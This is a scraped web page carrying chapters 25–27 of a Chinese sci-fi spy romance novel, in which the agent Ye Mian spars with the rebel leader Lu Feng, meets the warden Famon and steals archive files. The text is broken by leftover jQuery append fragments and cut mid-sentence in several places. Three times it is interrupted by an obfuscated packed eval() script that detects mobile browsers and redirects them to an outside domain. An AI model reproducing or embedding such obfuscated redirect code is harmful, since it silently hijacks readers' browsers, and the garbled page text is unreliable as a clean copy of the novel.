$(''#content'').append(''
人谈判的资本。
“那你知不知道,玩枪要小心走火,不要拿枪口对着别人?”陆风嘴上分毫不退。
察觉“叶绵绵”的反常之后,他到底比平常更警惕了一些,动用异能只为把风险降到最低。
事实证明,那一瞬的杀机不过玩闹,陆风再次放下心来。
“我会走火?”叶眠反问,“你觉得我们两个谁走火的可能性更高?”
“哼哼,”陆风不满,“说不定呢?”
叶眠背对着他,没转身,但脸色稍显晦涩——陆风用的词是“说不定”,这代表了很多事情。
比如,叶绵绵的身手真的很不错,甚至不止不错,而是顶尖。
所以,真的是秘书吗?
还是说,打手会更贴切一些?
“我们多久没切磋了?”她终于转身,表情自然,像是好奇一问。
“呃,”陆风思考了一下,“有几年了吧?”
几年。
叶眠琢磨着,叶绵绵跟陆风还称得上青梅竹马?
“你想切磋?”他低了低头,墨镜后注视着叶眠的眼睛发亮,“也不是不行。”
“不用异能的可以,用异能的不行。”叶眠立刻补充。
太作弊了,他刚刚的速度,绝对超越普通人类极限了。
“依你,”陆风露齿一笑,目的明确,“那彩头?”
叶眠麻了一下:“你,唉,算了,行吧。”
两人默契地没说透,也不知道是不是不好意思,陆风先手攻来,叶眠立刻进入状态。
陆风出招很快,叶眠摸着良心说,确实不弱。
他下盘很稳,出手每一招都有头有尾。叶眠左臂挡了他的拳,他立刻就能跟上下一掌。
叶眠侧脸被掌风扫过,她重心微移扭身避开,手肘顺势撞向陆风肋下。陆风早有防备,左臂格挡的同时,右手直直扣向她手腕。
“反应还是这么快。”他低笑一声,摸向她手腕,又被躲开。叶眠沉肩,左手击退肘部,同时腰腹发力拧转,借松劲瞬间拉开,紧接提膝,撞向陆风小腹。
陆风后撤,避开这记狠招,却被叶眠抓住机会近身,小臂上袭击中下巴,酸麻汹涌,他反手扣住她后心,呼吸稍快:“平局?”
叶眠手腕翻转锁住陆风手臂,膝盖仍抵在他腰侧。两人姿势胶着,衣料摩擦间能感受到彼此急促的心跳,她没有回避,不动声色地说:“还没结束。”
扭打到现在,位置已经偏移不少。叶眠使力旋转出一个角度,她看也不看,向后一脚,踢向冷兵武器架。
一柄长剑被击上半空,趁陆风走神瞬间,她灵活地钻出他手臂范围,反手接剑,下一秒,指向陆风鼻尖。
“现在,我有武器,你没有,”她微微挑眉,“给你个机会认输。”
陆风稍微移动,剑尖也跟着移动,叶眠摆明了不会让他靠近武器架,他无奈:“好吧。”
意料之外情理之中,叶眠回身插剑,却感受到身后之人接近带起的微风。
一道弧光划过,在陆风碰到她身体之前,剑刃已经横在了他脖子上。
“那,现在呢?”叶眠压了压剑。
金属长剑没开刃,钝钝地压在陆风颈侧,他感受到那股完全没收劲的力道,终于投降:“你赢了。”
25. 第 25 章
叶眠歪头:“真的?”
陆风无奈:“真的。”
她放下剑,冷哼一声,这才算完。
陆风抬手,叶眠眯了眯眼,下一秒,手里的剑就被阵风卷起,端端正正地插回了武器架。
“你倒是舒服。”
她猜,陆风的异能多半跟风有关,也不枉他用的这个名字。
“可怜的叶眠,”陆风摇摇头,“异能被锁,只能当个手无缚鸡之力的普通人。”
“普通人刚刚赢了你,”叶眠没客气,“快到中午了,出去吃点?”
“你想吃楼上美食街?”
“当然不是,”叶眠无语,“陆指挥肯定知道些好吃的馆子吧。”
他们回到房间,叶眠眼睁睁看着陆风换了张老实人的方脸。除了不变的墨镜和瞳色,现在的他一身休闲服,与之前截然不同。
“出门还是得小心点,”陆风说着,扣紧了叶眠的帽子,“外面说不定还有人在找你。”
“我们站一起就是最大的风险了,朋友。”叶眠说。
-
下层区有真正意义上的美食吗?
——没有。
所以陆风开上悬浮车,两人穿越宽阔的中间带,来到了上层区。
这里跟叶眠想象中的城市就没那么大差别了。
钢铁高楼林立、绿化带细节铺到门口的最后一块地砖,灌溉设施悬浮在半空,水雾折射出彩虹。
如果说下层区是黑、灰,那上层区就是完整的色谱。陆风的悬浮车落在街道上,比起周围整洁靓丽的车子,硬生生矮了一头。
似乎看出来叶眠的疑惑,陆风解释:“这里有很多人住在中间带,每天通勤来到上层区。我预约用的身份就是这样,配太好的车反而不合适。”
叶眠点头。
你买单,你说得算。
上层区也分区,从D环到C环,资质核验顺利通过,陆风等交通灯的时候随嘴说:“吃个饭我们就不进B环了,里面警哨太多。”
“蒋仕临住B环吗?”叶眠忽而问。
“我忘了。”她补充说。
“前审判长啊,”陆风的语气稍微有点奇怪,咬字像是品鉴一般,“他的宅子当然在A环。如果不是你,我们很难除掉他。”
“也付出了很大的代价,”叶眠中肯评价,“叶绵绵死得惨啊。”
陆风不想听这种话。
“法蒙呢?”叶眠勾走了话题,“A环?”
杀心太重,不好,但低头就能感受到禁制环的存在,叶眠笑得很和善。
“怎么这么关注他,”陆风眉头一动,手下加速,推背感闪了叶眠一下,“监狱里见过?”
她瞥他一眼,不太走心地说:“我视革命党为眼中钉肉中刺。”
“别招惹他,”陆风警告说,“不是什么简单人物。”
“不知道他背后站的是什么家族。”叶眠试探。
陆风没再说话。
悬浮车停下,二人走进圆柱形的巨大玻璃建筑。
“欢迎光临天空之脊,请问有预约吗?”服务生态度和善。
“路青,谢谢。”陆风说。
电梯上行,速度比反抗军基地慢了不少,稳稳托着二人上了103楼。
踏出的一瞬间,叶眠敏锐地偏了一下头。
她好像看到了一个熟悉的身影,但那身黑色军装,让她有点不敢认。
……法蒙?
陆风自然地牵起她的手,叶眠回神,却发现这人的走姿都跟平常有些差别。
“路青的人设是个跛子?”叶眠悄悄问。
“嗯。”陆风简短回应。
在窗边的桌旁坐定,侍应生送来一束黄色的花,笑着说:“路先生选的花,正衬这位小姐。”
想到下城区连点活的绿植都见不着,叶眠微笑接下:“谢谢。”
她还关注着刚刚法蒙出现的那个方向,心中琢磨着这是不是个机会。
侍应生看到叶眠脸侧的纱布,眼中闪过怜悯,又补了一句:“祝小姐早日康复。”
“这边的菜色很多,我按你口味点了。”陆风说。
他扮演着路青的角色,口吻温和:“可能内厅里来了什么人,普通预约只能坐外面了,抱歉。”
叶眠看他一眼,心想你别说,来的还是熟人呢。
天大地大吃饭最大,她低头喝汤,耳朵却丝毫不敢懈怠。
换菜间隙,叶眠余光瞥到通向内厅的门打开了一条缝,心中有了点主意。
“我去趟洗手间。”她说。
陆风微微皱眉,没说话。
叶眠提着黄裙子的裙摆走过外厅,姿态优雅到她自己都觉得意外。
这是什么诡异的本能反应?难不成叶绵绵对外还走淑女路线?
经过内厅大门,她稍微减速,但里面的人立刻掩住了门缝,交谈声被死死锁住。
叶眠心中可惜,继续前往洗手间。
几步之后,看到那名送花的侍应生,她又有了个新主意。
“你好,”她安静地走过去,向他搭话,“请问,你们这里还有鲜花吗?”
“有的,小姐。”侍应生答。
“麻烦你把所有黄色的花挑出来,在场所有人一人一朵,记在路先生账上,算是我送给大家的祝福,可以吗?”叶眠温声细语地说。
看他要拒绝的样子,她再次加码,表情暗淡:“疗程后期就没机会出门了,我瞧这里人多,想图点热闹,不方便的话,也没关系的。”
侍应生犹豫了一下,说:“好吧,应该可以,小姐。”
“太感谢了。”叶眠感激地说。
从洗手间出来,她就眼见地看到推餐车的侍应生,抱着一大束黄色鲜花进了内厅,几乎获得了外厅所有人的关注。
“怎么了?”
叶眠驻足动作太明显,陆风发现了。
“没什么,”叶眠站到他身边,“我能坐里面吗?”
陆风顿了顿,起身说:“当然可以。”
叶绵绵回来之后表现出的距离感太强,这种主动的亲密反而显得有些珍贵了。
叶眠浅笑嫣然,心里却还在猜测法蒙那边的情况。
陆风完全没想到,这一顿吃下来叶眠心神一半给了饭,一半给了法蒙,就是没留给自己。他只当她是心里有事,也没有自讨无趣地多说什么。
终于,内厅门开,那一大抹黄色又被推了出来。
果然是被拒绝了。叶眠想。
侍应生为难地向她道歉,说内厅即将散场,谢谢她的好意。
叶眠也露出失望的神色,只是再次道谢后,让他把花放到了桌子对面,她原来坐的位置。
陆风偏头,与她之间的距离近到只剩半掌,语气戏谑:“慷他人之慨,很大方嘛。”
“反正你买一束也是买,买一把也是买,”叶眠稍微调整了一下姿势,“一把花换了条重要消息呢想不想听?”
陆风饶有兴致:“什么消息?”
层叠脚步声传来,内厅的人鱼贯而出,叶眠拉住陆风胳膊,两人贴得更近。
她已经能数清他的睫毛,根根分明,也能清楚地看到自己五官,倒映在他棕色的瞳孔中。
叶眠的气音传到陆风耳朵里。
——“法蒙刚刚在内厅。”
陆风瞬间变色。
眼风凌厉刮来,却被消解于无形。叶眠不为所动,甚至伸手掐住了他的下巴,以防他要回头乱动。
“看我。”她命令说。
这张脸确实不如上一张好看,叶眠心中轻叹一声,一手勾住陆风脖子,贴上了他的唇角。
“揽住我的腰。”
叶眠双唇微动,半张脸藏在陆风后面,密切关注着那群人离开的进度。
陆风懂了,依言照做,甚至多用了点劲,把她往身边带了一点。
在法蒙的视角里,很难不注意到那束巨大的黄色鲜花,然后就看到了那对吻得难舍难分的情侣。
他身板笔直如松,脚步不停,似乎毫无反应。
直到法蒙走进电梯看不见这里了,叶眠松开陆风,嫌弃地抽了张纸擦擦嘴:“你先走。”
陆风脸色很差,没耽搁,迅速起身。
叶眠拽住他。
以为她要让他注意安全,陆风下意识缓和表情,想说“没事”。
“记得结账。”叶眠殷切叮嘱。
不能恩将仇报啊陆指挥!
陆风默了默,咬牙:“我线上结。”
不知道他怎么操作的,几分钟后,定位就发到了叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224756|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眠终端——他已经把车开到了与这有点距离的地方。
这么快?没坐电梯?
叶眠吃掉最后半块蛋糕,心想有便宜不占是傻蛋,于是又点了两份套餐打包,标上C监的住址。
她在侍应生诡异的眼神下认真嘱托:“收货人叫烟花,是狱警,跟她说另一份带给护士,她会懂的。”
做完这一切,她施施然整理好裙摆,按了按帽子,走向电梯间。
法蒙会在哪里等她呢?
——十六楼。
电梯门打开,叶眠抬头,就看到一张好像别人欠他几千万的冷脸。
电梯内的侍应生有些犹豫,叶眠没再让他为难,轻盈地走出了电梯。
“好久不见。”她说。
刚刚吃饱喝足,叶眠心情还不错,但法蒙看起来就不是这样了。眼神重得仿佛要压死人,沉甸甸地镇在她身上。
十六楼的走廊没开灯,叶眠站在他的影子下,好像被困住一般。
“回到陆风身边的感觉如何,叶小姐?”法蒙开口,用词礼貌周到,暗藏的危险却不降反增。
“还可以,吃得比在监狱好不少,”叶眠说完,竟然还笑了笑,“让你久等了,我给监狱里的朋友打包两份外卖,耽误了点时间。”
可能就是这一刻,法蒙第一次模模糊糊地意识到,叶眠不是他可以随意拿捏的软柿子。
但这个想法并未成形。
“看你似乎已经乐不思蜀了,”他向前逼近一步,“陆风的床,也比C监好睡不少吧?”
“你脑子里怎么只有那点事儿?”叶眠反感地皱了皱眉,“我又不是没干活。”
“干活,指的是,跟陆风来天空之脊约会?”法蒙深吸一口气,尽量保持平静,但无论是他压迫性的站位还是越来越暗的脸,都显露出一种即将迸发的态势。
叶眠的脸几乎整个落在阴影中,只眼睛里有两点光,恒亮。
她稍微推了推法蒙,不合时宜地说:“等一下,等一下。你太高了,往后点,我仰着脖子头疼。”
法蒙一愣,感觉心底有丛火,“蹭”一下子窜了上来,然后再也不可遏制。
因为训诫的习惯,他勃然大怒下的第一反应,是想逮住叶眠衣领质问。又因为她穿的是裙子,无从下手,于是演变成捏住她的禁制环,发力一拉。
叶眠往前踉跄一步,帽子落地。但她没生气,甚至没挣扎,只抬起双手搭住他的小臂借力,然后就这样仰着头,注视着他。
军装的粗呢面料比衬衣差太多了,她想。
“你……”
场面诡异到出人意料,不知为何,训斥的半句话堵在法蒙嗓子里,没能说出口。
他双唇微开,眉峰压紧,气势迫人,只是面对着叶眠无害又清白的眼神,满腔怒火不上不下地悬在半空,一时没有动作。
然后,叶眠动了。
她拍了拍他的手臂。
“典狱长,中将,说真的,你别急。看看我们现在,像个什么样子?”
法蒙也想问,这像个什么样子?
叶眠力道不重,他却烫到一样撒了手,甚至莫名其妙地退了半步,像是生怕被什么脏东西黏上一般。
右臂下垂,碰过叶眠的手指皮肤还在宣扬着某种温暖柔软的触感。
……怎么回事?
叶眠捏着节奏见好就收,不给他任何想清楚的时间,开口就是正事:“基地防守分布还没搞清楚,只知道是在下城区的地下。目前拿的消息里,不重要的包括陆风眼睛有问题,重要的,可能是反抗军指挥使换届?”
她语气不确定,心中却肯定。
反抗军换届是大事,对于法蒙来说绝对也称得上重磅。
摇动的心神被强拽回来,其他怪异的感觉也被他极致的自控力全面压下。
“换届?时间,地点?”依然是冷脸,法蒙语气认真冷静了不少。
“我回了反抗军几天?”叶眠反问。
知道他不会接话,于是她自问自答:“两天。”
一切尽在不言中。
“所以你到底在急什么?”叶眠看着他,语气不解,“简直像是看到妻子外遇的丈夫,但你给我指派的工作,不就是卧底吗?”
卧底的献身,不是再正常不过的事情吗?
26. 第 26 章
法蒙没有开口,但显然,纯粹的沉默压不垮叶眠。
她不闪不避地看着他,一手捂着脖子,像是单纯无法理解,也像在催促。
——你说啊?为什么?
——怎么说?
说我以为你这半个月表现出的一切都是为了回到陆风身边。
说刚刚有一瞬间我想把你们两个都杀了。
说我有点情绪失控,这很少见。
法蒙眉头紧到发僵。
正因为强大到披靡的自控力,他可以清楚地分辨出自己的状态——眼下,他实在说不上理智。
但他不懂,这像火一样卷上来的情绪,仿佛小虫钻入心脏的感觉,叫占有,也叫嫉妒。
这是无知无觉的人陷入沼泽前的第一道警告,但是他没遇见过,所以只能简单划归到“情绪失控”的范畴。
叶眠静静地看着他表情的每一分变化,所有的纠结、犹豫、愤怒、自我攻讦……尽收眼底。
她有点惊讶,但又觉得理所当然:原来是这样。
叶眠没有再逼他,而是松松紧紧,再次说回陆风。
“陆风的眼睛是我之后几天调查的重点,三个月后的换届我肯定会到场,在此之前,我要摸清楚他的眼睛是怎么回事。”
法蒙沉默了很久,久到叶眠开始考虑怎么继续话题,他才开口:“好。”
嗓音干涩,太不自然。
他察觉之后,脸上低气压的表情更是阴沉三分。
叶眠仿佛一无所觉,甚至做出松了口气的样子:“第一次做卧底,不太熟练。所以,以后我需要尽量减少跟他的身体接触吗?”
法蒙得到了一个能够说服自己的结论:他看好的人,明明拥有一切成为一个优秀下属的品质,却要在陆风眼前做低伏小,所以他感到不满,其实,也正常。
他无视了自己听到叶眠最后一句问话的不适感。
“不用,你跟他正常相处就行。”法蒙的脸色沉静,叶眠明白——翻篇了。
毕竟,除了故意亲陆风一口试探典狱长反应,她哪里都没做错,对吧?
“加个终端,”叶眠自然地说,“下次说不定有急事联系你。等刘仁主动来找我,黄花菜都凉了。”
这次法蒙没有拒绝,他说不清自己是种什么心态,只是看着叶眠把他的联系方式拉到隐藏,然后再次抬头。
“还有什么事吗?没有的话陆风还在等我。”她说。
陆风,又是陆风。
阴魂不散,要是杀了他就能解决反抗军,何苦如此周旋?
“走吧,”法蒙捡起帽子递给她,然后上前一步按下电梯,“我们分开走。”
“您先?”叶眠接过帽子,礼貌地退了一点。
“……你先。”
电梯门合上前的最后一刻,叶眠跟法蒙的视线还缠在一起。等下一秒彻底闭合,她的表情才整段垮掉。
啧,雷声大雨点小。
但不管怎么说,她也是踩着高压线跳舞。
摊上这么个阴晴不定的上司,也不知道法蒙的下属都是怎么熬过来的。
根据陆风的坐标,叶眠很快找到了坐在车里的人。
“这个消息怎么样?”她压着帽子,把手臂搭在车窗上。
陆风抬眼,表情松散:“非常惊喜。”
“真没想到能在这里遇见,”叶眠顿了顿,“还好他看起来没什么杀意。”
“你说得对,我们两个站在一起,就是最大的风险,”陆风叹气,“你搞的那一大束花太显眼,他绝对往这边看了。”
他想不到那是叶眠为了吸引法蒙注意整的花活,叶眠也不会主动提起。
“那路青这个身份,是不是以后都不能用了?”她问。
“也不至于,”陆风也没那么被动,“法蒙一直针对反抗军,我的身份他肯定也查到不少。到现在没对我动杀心,可能也是知道我这个指挥使死了,还会有很多指挥使替上来。”
“上车,”他一笑,“他杀了我,还不如养着我,往我身边栽卧底,这样才好顺藤摸瓜。”
叶眠表情不动如山:“害。”
两人有些沉默地回了基地,陆风似乎有什么急事,匆匆忙忙地离开了。
叶眠回到房间,打开终端骚扰同事哥。
遇到困难睡大觉:“法蒙有爱人吗?”
白干全白干:“?”
遇到困难睡大觉:“年轻中将,快三十岁,最好的年纪,身边没有女人吗?”
白干全白干:“他是性冷淡[笑脸]。”
这在联盟不是个秘密,所以沈舒白卖法蒙一点都没犹豫。
叶眠摸摸下巴,笑了。
那可真是有点意思。
沈舒白还在劝。
白干全白干:“你不要对他有什么想法啊,他真不是那种人。”
遇到困难睡大觉:“瞧你说的,我就是那种人吗?”
沈舒白想到她捏着纸巾擦过自己下巴的恶劣行径,打了个寒战。
你怎么不是!
你太是了!
收收神通吧!
遇到困难睡大觉:“别说那个了。我现在这个情况,陆风不在身边根本没啥好查的,有没有别的活儿给我干?怪无聊的。”
白干全白干:“你安稳当个花瓶就好了。”
[白干全白干撤回了一条消息。]
遇到困难睡大觉:“[笑脸]。”
白干全白干:“哎,那什么,倒还真有一个。”
遇到困难睡大觉:“嗯哼?”
白干全白干:“基地档案室,知道在哪吗?我给你远程黑掉权限,你进去查查前任指挥使跟联盟家族的来往。”
白干全白干:“档案室分两层,外层权限我有,但机密库不行。我自己进不去,必须得找人跟我配合[哭脸]。”
遇到困难睡大觉:“中,姐帮你。”
白干全白干:“[谢主隆恩]。”
叶眠换了身裤装,顺手给陆风发了句:“我在基地里转转。”
养成报备的良好习惯,让男人不再费心牵挂。
她真好。
坐了直升飞梯来到档案室门口,叶眠刷卡进入第一层档案库。
密闭方形空间内悬着四盏昏暗的灯,耳朵里只能听见换气设施的嗡鸣,地上桌子上堆满了纸质材料,看起来不久前还有人来查过东西。
叶眠漫不经心地走到第二扇门前,心道我这可是二级权限,能不能直接进?
可能是猜到她心中所想,被临时征用的耳机里想起同事哥变调的声音:“机密库需要一级或者零级权限,稍等。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224757|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
陆风还是太小气。
叶眠百无聊赖地打量着毫无装饰的水泥墙壁,然后仿佛命中注定一般,她发现了一个隐蔽在角落的摄像头。
第一反应是拔枪打碎,但她生生拧住了自己的手。
不行,如果射击,那就是真的洗无可洗了。
“我进机密库,要是被陆风发现了怎么办?”她盯着摄像头,一边挥了挥手,一边缓缓问。
“嗯……”那头沉吟一声,“运用你的聪明才智糊弄过去?”
一想自己中午还在法蒙的死亡凝视下苟活,说不定晚点还要面对质疑她失忆的陆风,叶眠为自己的卧底生涯叹了口气。
“好了,”同事哥干巴巴地说,“那什么,多谢。来都来了,能记录的尽量都记录一下。”
“如果我被陆风打死要替我收尸啊。”叶眠走进缓慢挪开的大门。
沈舒白微哽:“一定。”
电子数据库,只摆着两台看起来型号不新的显示器。
叶眠坐到椅子上,开启设备。
“设备密钥。”她呼叫同事哥。
沈舒白报出一串数字,这是他最近的成果。
——“验证通过,请选择你要查看的信息年份。”
中间大栏是密密麻麻的年份,旁边一栏是指挥使届数。最新的一条显示是第33届,叶眠拖动光标上滑。
“陆风连任了几届?”
“总的来说,是第二届。”同事哥答,“上一届他是防御组的,守了三年主舰老家。”
了解得很清楚嘛,叶眠一边想,一边划到第31届,点击后,直接跳转到个人总结页面。
“陆峰,——年~——年。曾连任两届游击进攻组指挥使,捣毁死星三号的非法实验室窝点,建立反抗军特工培育基地……”
迅速扫过总结,下面便是陆峰分门别类的记录材料。
其中有一块很显眼的红色斑块,标着“联盟”字样。叶眠点进去,从上到下扫过——密密麻麻的家族姓氏,虽然她不太了解,但不乏医院电视上出现过的让人眼熟。
只凭她还没长全的脑子记下所有信息实在太过苛刻,叶眠选择接上终端,直接导出文件发给同事。等待进度条期间,她津津有味地翻到32届,开始看陆风的生平。
看起来守家确实不是什么好差事,相比于31届的陆峰的丰功伟绩,32届的陆风似乎没做什么大事,各类别下的零星条目实在乏善可陈。
叶眠一边感慨着,一边翻到33届。
“有什么想知道的,其实直接问就好。”陆风说。
“那哪行啊,您贵人……”叶眠收声,重重地咳嗽了一下。
陆风低头看显示屏:“在研究我?”
“嗯。”叶眠老实地像个鹌鹑,“毕竟我忘了很多事。”
“你从这里看不到真正的我,只能看到别人眼里的我。”
趁陆风站直,叶眠迅速收起终端。
“叶眠,”陆风叹了口气,“别闹脾气了,这不是你该来的地方。”
手指放在背后迅速删除文件记录,她垂着眼不敢跟陆风对视,像是知道自己做错事了一样。
耳机里的通讯声也早就断了。
叶眠:同事哥,等我能活过这一遭,你好歹得赔我点东西当精神损失费。
27. 第 27 章
“可是,你不懂我醒来什么都忘了的心情,”叶眠抬起眼睛,跟他对视,剖心剖肝地讲,“我不记得你,不记得这里,不记得我杀了谁又是为什么杀了他、然后落进监狱。”
陆风低头看着她,眼中晃着一点让人猜不到透的思索,像藤条垂进水面牵出不规则的涟漪,又像潜藏于波纹下伺机而动的水蛇。
“陆风,我相信你爱我,”叶眠抓住他的袖子,坚强底色中暗含一线脆弱,显眼到让人无法忽视,“但是我不能不明不白地接受你,所以我才更迫切地想找回我们的过去。”
她无声苦笑,轻轻说:“你当我慌不择路吧。”
说完这句,叶眠后心的汗都渗出来了。
她给这段戏精附体的紧急避险打98.6分,因为看着陆风不为所动的样子,她感觉自己还是有一点四了。
陆风凝视她半晌。
叶眠瞪着带点水色的眼睛,把嘴唇咬到泛白,心里已经做了无数个预案,确保自己在他动手第一时间能伤亡最小地逃走。
然而她越想越发现:很难。
没有异能,陆风捏死她几乎是手拿把掐。
如果能苟过这一波,她一定去催催(划掉)求求小沈……
“别咬了。”
叶眠脑子里已经快进到“杀头不过碗大条疤”,结果陆风只是伸手揉开她的嘴角,语气克制。
“你这些小习惯,失忆了也一点没改。”
叶眠眨眼,像是没听懂话一样。
“如果不是这些,我都要怀疑你是不是被人顶包了,”陆风手指提起她的嘴角,表情缓和,“别用这么可怜的表情看着我。”
糊弄过去了?
叶眠下意识又咬了一下,结果被陆风完美预判。
他稍微用了点力气,指腹搓过她的唇面,带来一点微痛。
“还咬。”
真糊弄过去了。
叶眠垂下头,藏起了所有的如释重负。
“刘勇也算做了件好事,”陆风强势地抬起她的下巴,一眼撞上了叶眠调整完情绪的双眼,“过去既往不咎,就当我们从新开始。”
叶眠眼睛忽闪忽闪。
陆风单手把她的脸颊肉往中间一捏:“说话。”
叶眠:“烧什呃(说什么)?”
陆风:“……说你愿意。”
叶眠毫无负担:“额演绎(我愿意)。”
叶绵绵的过去属于叶绵绵,重生之后的叶眠才是叶眠,两个人她分得很清。
叶绵绵跟陆风能有什么好结局?
叶眠跟陆风更不会有。
赶紧翻篇,她超愿意。
陆风笑了下,松开叶眠的脸,然后把人环腰楼过,在她耳边叹了一声。
叶眠手抵在他胸前,心想:你又在高兴什么?
还有,“刘勇做得好”又是什么意思?
这个“既往不咎”一出,怎么感觉他比我还释然?
“如果不是刘勇,我说不定现在已经在长头发了,”叶眠推了推他,语气幽怨,“你说的刘勇,是用钢筋□□脑袋的那个弟弟,还是后来对我痛下杀手那个哥哥?”
“嗯?”陆风松开她,“两个刘勇?”
叶眠讲了讲兄弟俩的事情,陆风沉默了一会儿,摸了摸她拆完一半纱布的脑袋:“还好你没事。”
“你知道刘毅进了C监,那你知道他是接了谁的悬赏吗?”叶眠拽了拽他衣角,一脸求知欲。
好不容易逮到个机会,赶紧把能问的都问了。
“蒋钰。”陆风表情淡淡,似乎说完这个名字,还有些想补充的,但最终都被压了下去,变成不见影的暗潮。
——蒋仕临的儿子,还真是替父报仇的戏码。
叶眠又问:“那我从C监出来,他还会再追加悬赏来杀我吗?”
“做好保密工作,他会以为你死在里面了,”陆风亲了一下她的额头,“不用担心。”
叶眠幽幽地说:“不是说等把叶绵绵哄回来再亲吗?”
陆风笑:“都既往不咎了。”
叶眠掐他一把:“切磋我赢了。”
“行,”陆风纵容了,捏了捏她的掌心,“晚上听你的。”
叶眠眼角一抽,下一刻,陆风终端震动。
“小沈医生找我,”陆风看了一眼说,“你自己回去,可以?”
叶眠忙不迭点头,麻利地抬脚往外走,听到身后陆风接起通讯的声音。
“上次漏了一项检查?这可不像你的作风。”
-
晚上,叶眠左等右等陆风也没回来,她无聊到发慌,翻出终端列表开始挨个骚扰。
陆风,略过。
今晚不回来最好。
同事哥?戳一下。
遇到困难睡大觉:“同事哥,你把我害惨了。”
遇到困难睡大觉:“贴身卧底真的很难做,法蒙应该给我发工资[哭脸]。”
遇到困难睡大觉:“还有,纯机械手枪局限实在太大了,陆风异能跟鬼一样,来去无影,根本瞄不中。我需要更强的武器,或者给我开放紧急情况下的异能使用权,帮我跟老大说说情呗[笑脸]。”
遇到困难睡大觉:“同事哥?”
叶眠勾搭同事哥不成,干脆直接找正主。
她还在考虑怎么把今天的遭遇夸大扭曲一些,法蒙却先发来消息:“半个月后有空吗?”
遇到困难睡大觉:“有空的。您怎么想起我了?[笑脸]”
遇到困难睡大觉:“[玫瑰]*99。”
天色昏暗,下班点已经过了三个小时,法蒙还坐在典狱长办公室里,一边听着烟花报告整改进度,一边分神联系叶眠。
“典狱长先生?”烟花敏锐察觉对方走神,小心询问。
“成何体统。”
法蒙眉压眼的五官本就有八分严厉,眼下因为这句话更显苛刻,烟花一愣,结果他一抬头,面无表情地说:“继续。”
烟花心中颇有微词,刚要继续她的发言,又被再次打断。
法蒙一脸正色:“如果旁人送了99朵玫瑰,你会怎么回应?”
烟花:?
她揣摩着法蒙的想法,小心地建议:“谢谢她?”
法蒙眉头皱成川字,心想这狱警实在无情,手下犹豫了几秒,好歹是回复了。
法蒙:“[玫瑰]。”
另外一边的叶眠:?
烟花觑着这位典狱长实在说不上高兴的表情,诚实地说:“如果是不想应付的人,您大可不用理会的。”
不然活像冷脸洗内裤的大怨种。但她不敢说。
法蒙想着德里克的宴会,心烦地挥了挥手:“这边你看着管,别闹出像之前278号那种大乱子就行,狱警有些压线的行为也正常,我要的是可控。”
他看起来要走,烟花犹豫了一下,稍微一拦:“中将,您对边境三师的士兵们也是这个态度吗?”
她姿态放得恭敬,但说话却不太好听:“如果压线的行为都可以纵容,那在看不见的地方,越线的行为只会越来越多。”
“作为管理者,你精力有限,不可能面面俱到地管住所有人,”法蒙视线扫来,少见地指点了几句,“有的放矢才能更好控制下属,你没坐过这个位置,不懂也正常。”
烟花在心里叹了一声。
监狱的三级管理就像一个微缩的社会三层,最高层的人一边控制管理中层,一边纵容中层压线,所以受欺受辱的只会是最底层,在监狱,便是囚犯受到的区别待遇。
狱风不正不是某几个人促成的,不论是更早带头作恶的萨利,还是现在心不在焉的法蒙,C监一直是从根烂到尖。
“叶眠说得没错,”烟花说,“您不适合做这个典狱长。”
法蒙下巴微抬,正视这个代替了黑兔子位置的女狱警。
他声音加重:“叶眠?”
烟花恭敬地笑了笑,下一句却岔开话题:“天色太晚了,剩下的也没什么特别的事情,看起来您也急着离开,我祝您早日离任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224758|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,得偿所愿。”
她帮法蒙推开门,见他没有动静,干脆自行告退。
等她走没影了,法蒙依然没回过神来。
现在什么人都能指着他阴阳怪气了吗?
他感受到了不被尊重的怒气,心道这人实在不识好歹,一边又感受到了微不可查的疑惑——难道我真不适合做这个典狱长?
再低头一看叶眠发来的消息。
遇到困难睡大觉:“[笑脸]。”
法蒙带着迁怒点评:这个ID也起得不怎么样。
一个为上级分忧的优秀下属,怎么能看起来没有一点工作热情?
法蒙:“半个月后有一场化妆舞会,你来做我的女伴。”
叶眠:?
我?
似乎也是察觉到逻辑不通,法蒙又补了一句:“是A环内的宴会,我带下属会有混淆公私的嫌疑。你身份单薄,出狱的时候还专门做了保密工作,正好能配合我。”
遇到困难睡大觉:“你在找我帮忙吗?”
法蒙默了默,过了会儿才回:“是。”
遇到困难睡大觉:“如果只需要我出人,能帮上忙我当然愿意,但是今天偷资料差点被陆风发现,我想申请额外补助,您看……?”
法蒙:“说。”
遇到困难睡大觉:“如果你不愿意放开禁制环权限,请给我批放更高杀伤的武器。”
遇到困难睡大觉:“陆风异能太强,想杀我太容易了。”
陆风,啧。
